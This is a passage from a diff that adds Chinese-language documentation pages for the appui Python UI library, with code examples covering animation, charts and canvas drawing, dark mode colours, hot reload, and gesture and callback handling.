从 AppUI Presentation Engine 起,show_**_presented 等呈现状态字段变化会自动触发 spring 动画;sheet / alert / cover 的进出通常不必再手写 appui.animate()

+

第四档 PresentationCoordinator 会在注册表有效时跳过 body() 与整树 JSON,直接更新原生 presentation binding;可用 appui.presentation_present / appui.presentation_dismiss_all 显式控制。完整规范见 Presentation Engine Spec

+
+

#预期效果

+

示例会展示隐式动画、显式动画、转场和共享几何效果如何响应状态变化。

+

#概念速览

+
能力API
隐式动画.animation(type='spring', value=...)type 可为 defaultlineareaseIneaseOuteaseInOutspringinterpolatingSpring
显式动画appui.animate(action, type)
出现 / 消失.transition(type)opacityslidescalemovepushidentity
2D / 3D 变换.scale_effect.rotation_effect.rotation_3d_effect
共享元素.matched_geometry_effect(ns_id, namespace, is_source)
文本或数字切换.content_transition(type)
循环呼吸效果.phase_animator(phases)
+

#隐式 vs 显式:怎么选

+
  • 隐式:适合「依赖项变化 → 自动插值」的 UI,如计数、开关、列表插入;把 .animation(..., value=state.x) 放在 依赖该字段的子树 上。
  • 显式:适合一次事务内多处 State 同步更新(例如先收起面板再改标题)。把更新逻辑放进命名函数,再用 appui.animate(update_state, "spring") 保证同一帧动画曲线一致。
+

#animationtype 取值

+

defaultlineareaseIneaseOuteaseInOutspringinterpolatingSpring。未列出的字符串请避免使用,以免系统忽略。

+
+

#基础示例

+

appui.animate 更新计数,并对数字附加 .animation('spring', value=...)

+
+
+ python +
+
+
import appui
+
+state = appui.State(score=0)
+
+
+def decrease_value():
+    state.score -= 1
+
+
+def increase_value():
+    state.score += 1
+
+
+def decrease_score():
+    appui.animate(decrease_value, "easeOut")
+
+
+def increase_score():
+    appui.animate(increase_value, "spring")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack(
+            [
+                appui.Text(f"得分: {state.score}")
+                .font("largeTitle")
+                .bold()
+                .animation("spring", value=state.score),
+                appui.HStack(
+                    [
+                        appui.Button(
+                            "−",
+                            action=decrease_score,
+                        ).button_style("bordered"),
+                        appui.Button(
+                            "+",
+                            action=increase_score,
+                        ).button_style("bordered_prominent"),
+                    ],
+                    spacing=24,
+                ),
+            ],
+            spacing=24,
+        )
+        .padding()
+        .navigation_title("显式动画")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#进阶示例

+

transition + scale_effect + rotation_effect + rotation_3d_effect + matched_geometry_effect + content_transition + phase_animator

+
+
+ python +
+
+
import appui
+
+state = appui.State(show_panel=False, label="轻点切换")
+
+
+def toggle_panel():
+    state.batch_update(
+        show_panel=not state.show_panel,
+        label="面板已打开" if not state.show_panel else "面板已关闭",
+    )
+
+
+def body():
+    panel = (
+        appui.RoundedRectangle(corner_radius=18)
+        .fill("systemTeal")
+        .frame(width=120, height=120)
+        .scale_effect(0.92)
+        .rotation_effect(6)
+        .matched_geometry_effect(ns_id="card", namespace="demo", is_source=True)
+        .transition("scale")
+    )
+    placeholder = (
+        appui.Circle()
+        .fill("systemGray4")
+        .frame(width=120, height=120)
+        .matched_geometry_effect(ns_id="card", namespace="demo", is_source=False)
+        .transition("opacity")
+    )
+    return appui.NavigationStack(
+        appui.ScrollView(
+            [
+                appui.VStack(
+                    [
+                        appui.Text(state.label)
+                        .font("title2")
+                        .content_transition("interpolate"),
+                        appui.Button(
+                            action=toggle_panel,
+                            content=appui.Text("切换面板").padding(),
+                        ).button_style("bordered_prominent"),
+                        panel if state.show_panel else placeholder,
+                        appui.Text("3D 倾斜")
+                            .font("footnote")
+                            .foreground_color("secondaryLabel"),
+                        appui.Rectangle()
+                        .fill("systemOrange")
+                        .frame(width=100, height=44)
+                        .rotation_3d_effect(18, x=0, y=1, z=0),
+                        appui.Text("相位动画")
+                            .font("footnote")
+                            .foreground_color("secondaryLabel"),
+                        appui.Capsule()
+                        .fill("systemPink")
+                        .frame(width=160, height=36)
+                        .phase_animator([0, 0.4, 1.0, 0.4, 0]),
+                    ],
+                    spacing=20,
+                )
+                .padding()
+            ]
+        )
+        .navigation_title("动画组合")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#常见误区

+
  1. value 与隐式动画.animation(..., value=state.x) 仅在 value 引用发生变化时触发动画;若传入常量则不会按预期刷新。
  2. appui.animate 的第一个参数:必须是 无参可调用对象(推荐命名函数里批量改 State),不要写成 appui.animate(state.count + 1)
  3. matched_geometry_effect:成对视图需 相同的 namespacens_id,且通常配合显式布局;在复杂导航栈里要注意 is_source 切换时机。
  4. phase_animator:依赖 iOS 17+ 能力,在旧系统上可能降级或无动画。
  5. transition 与条件渲染:过渡只在视图插入/移除时生效;若仅修改子视图文字,应优先 .content_transition
  6. interpolatingSpringspring:二者曲线不同;若出现振荡或回弹过大,优先改回 defaulteaseInOut 验证是否由曲线本身引起。
  7. rotation_3d_effect 与透视:极端角度可能导致子视图不可读;建议限制在 ±45° 内做 UI 提示级动效。
+
+

#练习题

+
  1. ZStack 叠放两个 Text,通过 state 切换 id(...),并分别设置 .transition('slide').transition('move')
  2. 给按钮增加 .sensory_feedback(style='success', trigger=str(state.score)),观察与 animate 联动的手感。
  3. 对照 入口函数 API,说明为何在回调里应优先使用 batch_update
+
+

#延伸阅读(仓库内)

+
  • 修饰符 API:查看 animationtransitionphase_animator 等签名。
+
+

#附录:transitionopacity 最小片段

+
+
+ python +
+
+
import appui
+
+flag = True
+
+
+def toggle():
+    global flag
+    flag = not flag
+
+
+root = appui.Group(
+    [
+        appui.Text("A").opacity(1).transition("opacity"),
+        appui.Text("B").transition("push"),
+    ]
+)
+assert root is not None
+
+
+

#调试建议

+

若动画「时有时无」,先在浏览器式调试思路下 二分法 排查:去掉 matched_geometry_effectphase_animator 等高级修饰符,仅保留 .animation(..., value=...),确认基础路径正常后再逐项加回。

+
+

#DrawingContext 与动画的关系

+

本章专注视图修饰符与 animate();若需要在画布上做连续帧动画,常见做法是:用 State 保存相位或采样数组,在 Timer 或后台线程里更新 State,由 Canvas(..., commands=...)DrawingContext 重建命令列表。此类模式属于「数据驱动重绘」,而不是 transition 插值。

+
+

#ReactiveState / 实时属性通道

+

高频控件(如 Slider)在 ReactiveState 场景下可能走实时属性通道;此时 .animation(..., value=...) 仍绑定在普通 Text 上即可。避免同一字段既高频写入,又驱动整棵页面频繁重建。若动画曲线和预期不一致,先拆分「需要动画的只读展示」与「高频写控件」,再查看 状态 API

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-guide-charts/index.html b/docs/docs/pages/appui-guide-charts/index.html new file mode 100644 index 0000000..30bb446 --- /dev/null +++ b/docs/docs/pages/appui-guide-charts/index.html @@ -0,0 +1,504 @@ + + + + + + 图表与画布 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

图表与画布

+

Chart、Canvas、DrawingContext 和 Path 的使用模式。

+
+ +
+

Chart 提供系统图表视图,用字典列表作为数据源,指定 x / y 键与 typeCanvas 用绘制命令渲染自定义图形,可用 DrawingContext 链式生成命令,或直接传入 commands 字典列表。Path 则用于矢量路径(move / line / close 等)。

+
+

#预期效果

+

示例会展示柱状/折线图、Canvas 绘制和 Path 图形在页面中的结果。

+

#概念速览

+
能力API
统计图Chart(data, x, y, type='bar', color=None, series=None)
画布绘制DrawingContext().fill_rect(...)...Canvas(width, height, context=ctx)
原始命令Canvas(width, height, commands=[{'op': 'fill_rect', ...}, ...])
矢量路径Path(commands=[...], fill=..., stroke=..., line_width=...)
+

#五种 Chart 类型的直观含义

+
  • bar:离散类别对比,适合少量枚举横轴(如月份、地区)。
  • line:连续或有序横轴上的趋势;与 series 组合可绘制多条线。
  • area:与折线类似,但填充下方区域,强调「累积感」或占比。
  • point:强调散点分布,适合样本量不大时的离群观察。
  • rule:水平或垂直参考线,适合阈值、平均线等「标线」场景(数据需自行构造为常数 yx)。
+

#Canvas 两条路径

+
  1. 声明式DrawingContext 链式调用,最后交给 Canvas(..., context=ctx);可读性高,适合中等数量图元。
  2. 命令列表:直接维护 commands 列表,适合波形、频谱等高频追加场景。
+
+

#基础示例

+

同一组销售数据,切换 Charttype

+
+
+ python +
+
+
import appui
+
+state = appui.State(chart_kind="bar")
+
+SALES = [
+    {"m": "1月", "v": 12},
+    {"m": "2月", "v": 19},
+    {"m": "3月", "v": 15},
+    {"m": "4月", "v": 22},
+]
+
+
+def set_chart_kind(value):
+    state.chart_kind = value
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack(
+            [
+                appui.Picker(
+                    label="图表类型",
+                    selection=state.chart_kind,
+                    options=["bar", "line", "area", "point", "rule"],
+                    on_change=set_chart_kind,
+                ).picker_style("segmented"),
+                appui.Chart(
+                    data=SALES,
+                    x="m",
+                    y="v",
+                    type=state.chart_kind,
+                    color="systemBlue",
+                ).frame(height=220),
+            ],
+            spacing=16,
+        )
+        .padding()
+        .navigation_title("Chart 类型")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#进阶示例

+

多系列折线(series 键)、完整 DrawingContext 演示、Canvas 原始 commandsPath 三角形。

+
+
+ python +
+
+
import appui
+
+state = appui.State()
+
+MULTI = [
+    {"day": "周一", "amount": 3, "team": "A"},
+    {"day": "周二", "amount": 5, "team": "A"},
+    {"day": "周一", "amount": 4, "team": "B"},
+    {"day": "周二", "amount": 2, "team": "B"},
+]
+
+
+def body():
+    ctx = appui.DrawingContext()
+    ctx.fill_rect(0, 0, 300, 120, color="secondarySystemBackground")
+    ctx.stroke_rect(8, 8, 100, 60, color="label", line_width=1)
+    ctx.fill_circle(150, 40, 22, color="systemRed")
+    ctx.stroke_circle(150, 40, 28, color="systemOrange", line_width=2)
+    ctx.fill_ellipse(190, 15, 50, 50, color="systemPurple")
+    ctx.stroke_ellipse(190, 15, 50, 50, color="systemYellow", line_width=2)
+    ctx.line(10, 100, 290, 100, color="separator", line_width=1)
+    ctx.fill_text("DrawingContext", 12, 88, color="label", font_size=14)
+    ctx.fill_path([(200, 75), (260, 110), (170, 110)], color="systemGreen", close=True)
+    ctx.stroke_path([(20, 70), (60, 95), (40, 50)], color="systemBlue", line_width=2, close=True)
+    ctx.arc(80, 95, 18, start_angle=0, end_angle=270, color="systemTeal", line_width=2, fill=False)
+    ctx.rounded_rect(
+        230, 70, 60, 40,
+        corner_radius=10,
+        color="systemIndigo",
+        line_width=2,
+        fill=False,
+    )
+    ctx.gradient_rect(120, 72, 90, 36, colors=["systemPink", "systemMint"], vertical=True)
+
+    wave_commands = [
+        {"op": "fill_rect", "x": 0, "y": 0, "w": 300, "h": 80, "c": "systemGray6"},
+    ]
+    for i in range(40):
+        wave_commands.append(
+            {
+                "op": "fill_rect",
+                "x": i * 7.5,
+                "y": 40 + (i % 5) * 6,
+                "w": 5,
+                "h": 12 + (i % 7) * 2,
+                "c": "systemCyan",
+            }
+        )
+
+    triangle = appui.Path(
+        commands=[
+            {"move": [40, 20]},
+            {"line": [80, 20]},
+            {"line": [60, 60]},
+            {"close": True},
+        ],
+        fill="systemYellow",
+        stroke="systemOrange",
+        line_width=2,
+    )
+
+    return appui.NavigationStack(
+        appui.ScrollView(
+            [
+                appui.VStack(
+                    [
+                        appui.Text("多系列折线 (series)").font("headline"),
+                        appui.Chart(
+                            data=MULTI,
+                            x="day",
+                            y="amount",
+                            type="line",
+                            series="team",
+                            color="systemBlue",
+                        ).frame(height=200),
+                        appui.Text("DrawingContext → Canvas").font("headline"),
+                        appui.Canvas(width=300, height=120, context=ctx).corner_radius(12),
+                        appui.Text("commands 列表 → Canvas").font("headline"),
+                        appui.Canvas(width=300, height=80, commands=wave_commands).corner_radius(8),
+                        appui.Text("Path 矢量").font("headline"),
+                        triangle.frame(width=120, height=80),
+                    ],
+                    spacing=20,
+                )
+                .padding()
+            ]
+        )
+        .navigation_title("图表与画布")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#常见误区

+
  1. Chart 使用参数名 type=:不是 markx / y 为数据字典中的键名字符串。
  2. Canvas 命令字典的字段:手写 commands 时使用 'op', 'x', 'y', 'w', 'h', 'c' 等键。
  3. Path 命令格式appuiPath 使用 {'move': [x, y]}{'line': [x, y]}{'close': True} 等形式,与 DrawingContextop 字典不同。
  4. 性能:高频更新(如波形)可优先 Canvas + commands 列表局部重建;Chart 更适合中等规模静态或慢变数据。
  5. 系统版本Chart 依赖 iOS 16+,Canvas 依赖 iOS 15+;在过低版本设备上可能空白或降级。
  6. series 与颜色:多系列时 color 仍可作为默认着色提示,具体调色策略由系统图表渲染决定;若发现图例颜色异常,应先检查数据中 series 字段是否稳定存在。
+
+

#练习题

+
  1. Charttype 改为 'rule',用水平参考线标注「目标值」常量(在数据中复制同一 y)。
  2. DrawingContext 绘制一条正弦折线(多点 linestroke_path)。
  3. Pathcommands 改为带 curve / arc 的复杂轮廓(若当前环境支持对应序列化键)。
+
+

#附录:最小 CanvasChart

+
+
+ python +
+
+
import appui
+
+c = appui.Canvas(
+    width=120,
+    height=40,
+    commands=[{"op": "fill_rect", "x": 0, "y": 0, "w": 120, "h": 40, "c": "systemBlue"}],
+)
+g = appui.Chart(
+    data=[{"x": 1, "y": 2}],
+    x="x",
+    y="y",
+    type="point",
+    color="systemRed",
+)
+print(c, g)
+
+
+

#数据字典约定(给 Chart

+

Chart 期望 datalist[dict],且每个字典至少包含你在 x=y= 上指定的键;若使用 series=,则每个字典还应包含该键以便分组。键名建议使用 ASCII 标识符(如 monthsales),可减少跨端序列化问题。

+
+

#DrawingContext 生成的 op 一览

+

下列为 DrawingContext 常用命令,便于手写 commands 数组时对照:

+
链式方法op 字段说明
fill_rectfill_rect填充轴对齐矩形
stroke_rectstroke_rect描边矩形
fill_circlefill_circle填充圆
stroke_circlestroke_circle描边圆
fill_ellipsefill_ellipse填充椭圆外接矩形
stroke_ellipsestroke_ellipse描边椭圆
lineline线段
fill_textfill_text文本
fill_pathfill_path多边形填充
stroke_pathstroke_path折线描边
arcarc弧或扇形
rounded_rectrounded_rect圆角矩形
gradient_rectgradient_rect线性渐变矩形
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-guide-darkmode/index.html b/docs/docs/pages/appui-guide-darkmode/index.html new file mode 100644 index 0000000..3960798 --- /dev/null +++ b/docs/docs/pages/appui-guide-darkmode/index.html @@ -0,0 +1,432 @@ + + + + + + 深色模式 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

深色模式

+

语义颜色、材质背景、强制色彩方案和符号配色。

+
+ +
+

appui 中,外观由 系统语义色字符串环境色方案材质背景 共同决定。优先使用语义色和材质,让页面自动适配浅色、深色和高对比度环境。

+
+

#预期效果

+

示例会展示语义色、材质背景、强制色彩方案和符号配色在浅色/深色下的表现。

+

#系统语义色(随浅色/深色变化)

+

foreground_colorbackground(color=...)fillstroke 等接受颜色的位置,可直接传入下列字符串(不区分大小写;部分名称支持 snake_case 别名,如 secondary_label)。

+

背景与分组

+
  • systemBackground(别名:system_backgroundbackground
  • secondarySystemBackgroundsecondary_system_backgroundsecondary_background
  • tertiarySystemBackgroundtertiary_system_backgroundtertiary_background
  • systemGroupedBackgroundsecondarySystemGroupedBackgroundtertiarySystemGroupedBackground
+

标签与分隔

+
  • labelsecondaryLabeltertiaryLabelquaternaryLabel
  • separatoropaqueSeparator
  • placeholderTextplaceholder_textplaceholder
+

填充层级

+
  • systemFillsystem_fillfill
  • secondarySystemFilltertiarySystemFillquaternarySystemFill
+

系统调色板

+
  • systemBluesystemRedsystemGreensystemOrangesystemPurple
  • systemPinksystemYellowsystemTealsystemCyansystemIndigo
  • systemGraysystemBrownsystemMint
+
+
+ python +
+
+
import appui
+
+state = appui.State()
+
+def body():
+    return (appui.VStack([
+        appui.Text("主标签色").foreground_color("label"),
+        appui.Text("次要说明").foreground_color("secondaryLabel"),
+        appui.Divider(),
+        appui.Text("强调链接").foreground_color("systemBlue"),
+    ], spacing=12)
+    .padding()
+    .frame(max_width=400)
+    .background(color="systemGroupedBackground", corner_radius=12))
+
+appui.run(body, state=state, presentation="sheet")
+
+
+

#preferred_color_scheme:强制浅色或深色

+

对子树应用 .preferred_color_scheme(scheme)scheme'light''dark'

+
+
+ python +
+
+
import appui
+
+state = appui.State(force="dark")
+
+
+def set_light():
+    state.force = "light"
+
+
+def body():
+    return (appui.VStack([
+        appui.Text("强制深色环境下的卡片").foreground_color("label"),
+        appui.Button("切换为浅色预览", action=set_light),
+    ], spacing=16)
+    .padding()
+    .background(color="secondarySystemBackground", corner_radius=16)
+    .preferred_color_scheme(state.force))
+
+appui.run(body, state=state, presentation="sheet")
+
+
+

#材质背景:background(material=...)

+

使用 模糊材质 时,不要同时传 colormaterial 常用取值如下:

+
material 参数值说明
ultra_thinultra_thin_materialultraThinMaterial
thinthin_materialthinMaterial
regularMaterialregularregular_materialregularMaterial
thickthick_materialthickMaterial
ultra_thickultra_thick_materialultraThickMaterial
+
+
+ python +
+
+
import appui
+
+state = appui.State()
+
+def body():
+    return (appui.VStack([
+        appui.Text("玻璃质感背景").foreground_color("label"),
+        appui.Text("副标题").font("caption").foreground_color("secondaryLabel"),
+    ], spacing=8)
+    .padding(20)
+    .background(material="regularMaterial", corner_radius=14))
+
+appui.run(body, state=state, presentation="sheet")
+
+

background 还可配合 gradientopacitycorner_radius 等参数;详见 View.backgroundappui.py 文档字符串。

+
+

#实践建议

+
  1. 优先语义色:卡片与列表用 secondarySystemGroupedBackgroundlabel 等,减少硬编码 #RRGGBB
  2. 对比度:在 preferred_color_scheme('dark') 下仍用 label / secondaryLabel 分层,而不是纯灰。
  3. 材质与圆角background(material='regular', corner_radius=12) 在圆角矩形内裁剪材质,视觉更统一。
  4. 调试:用 preferred_color_scheme 固定一种方案,截图对比浅色与深色下的 systemFill 层级是否清晰。
+
+
+ python +
+
+
import appui
+
+# 仅构建视图树,验证修饰符链可序列化。
+def body():
+    return appui.Text("Hi").padding().background(material="thin", corner_radius=8)
+
+tree = body()
+assert tree is not None
+
+
+

#与 SF Symbols 搭配

+

导航与媒体类符号在深浅背景下都清晰,例如 chevron.leftplay.fillgearshape.fill。配合 Image(system_name=...)symbol_rendering_mode('hierarchical') 可得到分层着色效果。

+
+
+ python +
+
+
import appui
+
+state = appui.State()
+
+def body():
+    return appui.HStack([
+        appui.Image(system_name="sun.max.fill").foreground_color("systemYellow"),
+        appui.Image(system_name="moon.fill").foreground_color("systemIndigo"),
+    ], spacing=24).padding()
+
+appui.run(body, state=state, presentation="sheet")
+
+

更多媒体与符号用法见 appui-guide-media.md

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-guide-hotreload/index.html b/docs/docs/pages/appui-guide-hotreload/index.html new file mode 100644 index 0000000..19dd0f6 --- /dev/null +++ b/docs/docs/pages/appui-guide-hotreload/index.html @@ -0,0 +1,416 @@ + + + + + + 热重载 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

热重载

+

hot_reload 的启用方式、状态保留和调试边界。

+
+ +
+

appui.run(body_func, state=None, hot_reload=False, presentation='sheet')hot_reload=True 时监视调用脚本文件,保存后自动重新执行脚本并刷新界面,便于迭代 UI。body_func 可以写成 body(),也可以写成 body(state)

+
+

#预期效果

+

示例会展示热重载保留 State、刷新页面结构,并在错误时保持预览可恢复。

+

#启用方式

+
+
+ python +
+
+
import appui
+
+state = appui.State(count=0)
+
+
+def increment():
+    state.count += 1
+
+
+def body():
+    return appui.VStack([
+        appui.Text(f"count = {state.count}").font("title2"),
+        appui.Button("+1", action=increment)
+            .button_style("bordered_prominent"),
+    ], spacing=16).padding()
+
+appui.run(body, state=state, hot_reload=True, presentation="sheet")
+
+

要点:

+
  • 监视的是 run() 调用栈所在文件inspect.stack),因此热重载入口应放在真实脚本中,而不是交互式 stdin
  • 保存文件后,运行环境会尽快重新加载脚本并刷新界面;触发速度取决于当前设备和文件系统。
+
+

#状态保留:仅 State 自动合并

+

热重载重新执行脚本后,若旧页面和新页面都使用 State,会按字段名保留仍然存在的状态值,从而让计数器、开关等继续保持当前值。

+

ReactiveState 不会自动合并到新实例;热重载后若脚本重新构造 ReactiveState(),字段会回到脚本初值,除非你在脚本里自行从文件恢复。

+
+
+ python +
+
+
"""说明:热重载后 State 合并逻辑只针对 appui.State。"""
+import appui
+
+s = appui.State(a=1)
+snapshot = s.to_dict()
+assert snapshot["a"] == 1
+
+

(在应用内以 hot_reload=True 运行时可观察计数在保存后仍连续。)

+
+

#开发流程建议

+
  1. body 与小组件函数放在同一 .py 文件,run(..., hot_reload=True) 置于 if __name__ == "__main__": 中(若在应用内直接调用亦可)。
  2. 每次保存后,运行环境会重新读取当前文件并绑定新的 body
  3. 首帧会完整刷新界面树,避免旧界面结构影响新代码。
+
+

#出错时会发生什么

+

若新代码 语法错误导入失败,异常会显示在预览错误面板;进程不退出,修正后再保存即可。

+
+
+ python +
+
+
import appui
+
+state = appui.State(ok=True)
+
+def body():
+    return appui.VStack([
+        appui.Text("保存本文件即可触发热重载").font("footnote"),
+        appui.Button("关闭", action=appui.dismiss).button_style("bordered"),
+    ], spacing=12).padding()
+
+appui.run(body, state=state, hot_reload=True, presentation="sheet")
+
+
+

#调试技巧

+
  • 打印:保存后可在控制台观察重载成功或错误信息。
  • 按钮短暂不可点:保存瞬间正在替换回调,等界面刷新完成后再点一次。
  • 不要用 <stdin> 作为脚本路径:无法可靠监视;请使用磁盘上的 .py 文件运行。
  • presentation 组合fullscreen / fullscreen_with_close 同样支持热重载;关闭仍用 appui.dismiss()
+
+
+ python +
+
+
import appui, inspect
+
+def f():
+    return appui.Text("x")
+
+# 本段仅验证 run 的签名包含 hot_reload(不实际连接桥)
+sig = inspect.signature(appui.run)
+assert "hot_reload" in sig.parameters
+
+
+

#auto_refresh 的区别

+
特性hot_reload=Trueauto_refresh(interval)
触发条件源文件变更定时器周期
目的开发时替换代码时钟、轮询仪表盘
状态合并 State不重新加载模块
+
+
+ python +
+
+
import appui
+import time
+
+state = appui.State()
+
+def body():
+    return appui.Text(time.strftime("%H:%M:%S")).font("title").padding()
+
+appui.auto_refresh(interval=1.0)
+appui.run(body, state=state, hot_reload=False, presentation="sheet")
+
+
+

#小结

+
  • hot_reload=True监视文件 → exec → 保留 State → 强制全量刷新
  • 适合 UI 布局与回调逻辑的快速迭代。
  • ReactiveState / 文件外缓存 需自行设计持久化策略。
+

更多运行器参数见 appui-ref-functions.md

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-guide-interaction/index.html b/docs/docs/pages/appui-guide-interaction/index.html new file mode 100644 index 0000000..4e26683 --- /dev/null +++ b/docs/docs/pages/appui-guide-interaction/index.html @@ -0,0 +1,592 @@ + + + + + + 交互与回调 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

交互与回调

+

按钮、输入、on_change、sheet 和行级回调的可靠写法。

+
+ +
+

触摸、长按、拖拽与捏合等交互通过视图修饰符绑定到 Python 回调。键盘与焦点用 .focused.keyboard_dismiss 控制;上下文菜单用 .context_menu;需要与系统手势共存时用 .simultaneous_gesture.high_priority_gesture

+

#预期效果

+

示例会展示点击、长按、焦点、键盘、拖拽和行级动作的反馈路径。

+

#概念速览

+
能力API
点击 / 长按.on_tap(action).on_long_press(...)
拖移 / 捏合 / 旋转.on_drag.on_magnification.on_rotation
组合手势.simultaneous_gesture(...).high_priority_gesture(...)
菜单.context_menu(content=[...])
焦点与键盘.focused(...).keyboard_dismiss(mode)
禁用.disabled(value)
气泡菜单.popover(is_presented, content, on_dismiss)
搜索和刷新.searchable(...).refreshable(...)
列表动作.swipe_actions(...)
+

#手势优先级

+
  • 普通子视图手势:默认由子控件(如 Button)消费点击。
  • simultaneous_gesture:与视图自身手势并行,适合在可滚动区域附加轻量检测。
  • high_priority_gesture:优先于子视图;仅在确有需要时使用,否则容易导致按钮点不动。
+

context_menucontentButton 视图列表,不要用任意字符串代替 Button

+

#基础示例

+

点击计数、长按提示、context_menu 弹出操作。示例使用命名回调,预览里每个动作都有状态反馈。

+
+
+ python +
+
+
import appui
+
+state = appui.State(count=0, hint="")
+
+
+def add_count():
+    state.count += 1
+
+
+def reset_count():
+    state.batch_update(count=0, hint="已归零")
+
+
+def double_count():
+    state.batch_update(count=state.count * 2, hint="已加倍")
+
+
+def show_long_press_hint():
+    state.hint = "长按已触发"
+
+
+def body():
+    block = (
+        appui.RoundedRectangle(corner_radius=16)
+        .fill("systemBlue")
+        .frame(width=140, height=90)
+        .on_tap(add_count)
+        .on_long_press(action=show_long_press_hint, min_duration=0.4)
+        .context_menu(content=[
+            appui.Button("归零", action=reset_count),
+            appui.Button("加倍", action=double_count),
+        ])
+    )
+
+    return appui.NavigationStack(
+        appui.ScrollView(
+            appui.VStack([
+                appui.Text(f"计数: {state.count}").font("title"),
+                appui.Text(state.hint or "点击或长按蓝色块")
+                    .font("footnote")
+                    .foreground_color("secondaryLabel"),
+                block,
+            ], spacing=20).padding()
+        )
+        .keyboard_dismiss("interactive")
+        .navigation_title("交互示例")
+    )
+
+
+appui.run(body, state=state)
+
+

#焦点、键盘和 Popover

+

focused(key=..., equals=...) 适合多个输入字段之间切换焦点。keyboard_dismiss("interactive") 通常加在 ScrollView 或列表外层。

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    active_field="name",
+    name="Ada",
+    city="上海",
+    show_pop=False,
+    lock_inputs=False,
+    gesture_log="",
+)
+
+
+def set_name(value):
+    state.name = value
+
+
+def set_city(value):
+    state.city = value
+
+
+def focus_name():
+    state.active_field = "name"
+
+
+def focus_city():
+    state.active_field = "city"
+
+
+def set_lock_inputs(value):
+    state.lock_inputs = bool(value)
+
+
+def open_popover():
+    state.show_pop = True
+
+
+def close_popover():
+    state.show_pop = False
+
+
+def log_long_press():
+    state.gesture_log = "叠加长按"
+
+
+def popover_content():
+    return appui.VStack([
+        appui.Text("Popover / Sheet 内容").font("headline"),
+        appui.Button("关闭", action=close_popover),
+    ], spacing=12).padding()
+
+
+def body():
+    popover_trigger = (
+        appui.Text("点我打开 Popover")
+        .padding()
+        .background("systemGray5", corner_radius=8)
+        .popover(is_presented=state.show_pop, on_dismiss=close_popover, content=popover_content)
+        .on_tap(open_popover)
+        .simultaneous_gesture(
+            gesture="long_press",
+            callback=log_long_press,
+            min_duration=0.35,
+        )
+        .disabled(state.lock_inputs)
+    )
+
+    return appui.NavigationStack(
+        appui.ScrollView(
+            appui.VStack([
+                appui.TextField("姓名", text=state.name, on_change=set_name)
+                    .text_field_style("rounded_border")
+                    .focused(key="name", equals=state.active_field)
+                    .on_submit(focus_city),
+                appui.TextField("城市", text=state.city, on_change=set_city)
+                    .text_field_style("rounded_border")
+                    .focused(key="city", equals=state.active_field),
+                appui.HStack([
+                    appui.Button("编辑姓名", action=focus_name).button_style("bordered"),
+                    appui.Button("编辑城市", action=focus_city).button_style("bordered"),
+                ], spacing=12),
+                appui.Toggle("锁定输入", is_on=state.lock_inputs, on_change=set_lock_inputs),
+                appui.Text(state.gesture_log or "在灰色区域长按可触发 simultaneous_gesture")
+                    .font("caption")
+                    .foreground_color("secondaryLabel"),
+                popover_trigger,
+            ], spacing=16).padding()
+        )
+        .keyboard_dismiss("interactive")
+        .navigation_title("焦点与手势")
+    )
+
+
+appui.run(body, state=state)
+
+

#拖拽、缩放和旋转

+

on_dragon_magnificationon_rotation 的回调由运行时传入测量值或字典。实际项目里先把返回值显示出来,再按需要解析字段。

+
+
+ python +
+
+
def drag_changed(value):
+    state.gesture_log = str(value)
+
+
+def drag_ended(value):
+    state.gesture_log = f"ended: {value}"
+
+
+view.on_drag(on_changed=drag_changed, on_ended=drag_ended)
+
+

如果子控件本身需要点击,谨慎使用 high_priority_gesture,它会优先于子视图手势。

+

#行级动作和刷新

+

列表行的交互要绑定稳定 id,不要依赖过滤后的下标。下拉刷新使用 .refreshable(action=...)

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    query="",
+    selected="None",
+    refresh_count=0,
+    rows=[
+        {"id": "api", "title": "API reference", "done": False},
+        {"id": "ui", "title": "Preview UI", "done": True},
+        {"id": "docs", "title": "Docs guide", "done": False},
+    ],
+)
+
+
+def row_key(row):
+    return row["id"]
+
+
+def set_query(value):
+    state.query = value
+
+
+def filtered_rows():
+    keyword = state.query.strip().lower()
+    if not keyword:
+        return state.rows
+    return [row for row in state.rows if keyword in row["title"].lower()]
+
+
+def refresh_rows():
+    state.refresh_count += 1
+
+
+def select_row(row_id):
+    for row in state.rows:
+        if row["id"] == row_id:
+            state.selected = row["title"]
+            break
+
+
+def toggle_row(row_id):
+    state.rows = [
+        {**row, "done": not row["done"]} if row["id"] == row_id else row
+        for row in state.rows
+    ]
+
+
+def row_view(row):
+    def select_current():
+        select_row(row["id"])
+
+    def toggle_current():
+        toggle_row(row["id"])
+
+    icon = "checkmark.circle.fill" if row["done"] else "circle"
+    return (
+        appui.Button(
+            action=select_current,
+            content=appui.HStack([
+                appui.Label(row["title"], system_image=icon),
+                appui.Spacer(),
+                appui.Text("Open").foreground_color("secondaryLabel"),
+            ]),
+        )
+        .button_style("plain")
+        .swipe_actions(actions=[
+            appui.Button("Toggle", action=toggle_current),
+        ])
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("Rows", [
+                appui.ForEach(filtered_rows(), row_builder=row_view, key=row_key)
+            ]),
+            appui.Section("State", [
+                appui.LabeledContent("Selected", value=state.selected),
+                appui.LabeledContent("Refresh count", value=str(state.refresh_count)),
+            ]),
+        ])
+        .searchable(text=state.query, on_change=set_query)
+        .refreshable(action=refresh_rows)
+        .navigation_title("Callbacks")
+    )
+
+
